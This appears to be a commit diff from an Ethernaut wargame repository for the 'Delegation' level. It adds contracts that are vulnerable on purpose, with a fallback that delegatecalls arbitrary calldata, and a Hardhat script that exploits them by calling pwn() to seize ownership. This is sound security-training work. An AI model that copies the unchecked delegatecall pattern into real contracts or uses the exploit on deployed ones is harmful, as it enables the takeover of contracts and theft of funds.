Exercise 6 - delegation

ethernaut_challenges/contracts/06_Delegation.sol

@@ -0,0 +1,31 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.0;
+
+contract Delegate {
+  address public owner;
+
+  constructor(address _owner) public {
+    owner = _owner;
+  }
+
+  function pwn() public {
+    owner = msg.sender;
+  }
+}
+
+contract Delegation {
+  address public owner;
+  Delegate delegate;
+
+  constructor(address _delegateAddress) public {
+    delegate = Delegate(_delegateAddress);
+    owner = msg.sender;
+  }
+
+  fallback() external {
+    (bool result, ) = address(delegate).delegatecall(msg.data);
+    if (result) {
+      this;
+    }
+  }
+}

ethernaut_challenges/contracts/Calldata.sol

@@ -0,0 +1,14 @@
+pragma solidity ^0.6.0;
+
+import "hardhat/console.sol";
+
+contract Calldata {
+  function logCallData(uint256 number, string memory str) public view returns (bytes memory) {
+    return msg.data;
+  }
+
+  function getDelegated() public returns (bool) {
+    (bool result, ) = address(this).delegatecall(abi.encodeWithSignature("get()"));
+    return result;
+  }
+}

ethernaut_challenges/scripts/06_delegation.ts

@@ -0,0 +1,30 @@
+import { Signer } from 'ethers'
+import { ethers } from 'hardhat'
+import { loadOrCreateLevelInstance } from './ethernaut'
+
+const levelAddress = '0x9451961b7Aea1Df57bc20CC68D72f662241b5493'
+
+const main = async () => {
+  const signer = (await ethers.getSigners())[0] as Signer
+
+  const targetContract = await loadOrCreateLevelInstance('Delegation', levelAddress, signer)
+
+  console.log(await targetContract.owner())
+
+  const provider = ethers.getDefaultProvider()
+  const abi = ['function pwn()']
+  const contract = new ethers.Contract(targetContract.address, abi, signer as any)
+
+  const tx = await contract.pwn()
+  console.log('PWN id: ', tx.hash)
+  await tx.wait()
+
+  console.log(await targetContract.owner())
+}
+
+main()
+  .then(() => process.exit())
+  .catch(e => {
+    console.error(e)
+    process.exit(1)
+  })

ethernaut_challenges/scripts/ethernaut.ts

@@ -16,6 +16,7 @@ export const createLevelInstance = async (name: string, levelAddress: string, si
 
   const txReceipt = await txResponse.wait()
   console.log('Tx mined!')
+  console.log(JSON.stringify(txReceipt, null, 2))
   const instanceAddress = ethers.utils.hexZeroPad(ethers.utils.hexStripZeros(txReceipt.logs[0].data), 20)
   console.log('Level instance address', instanceAddress)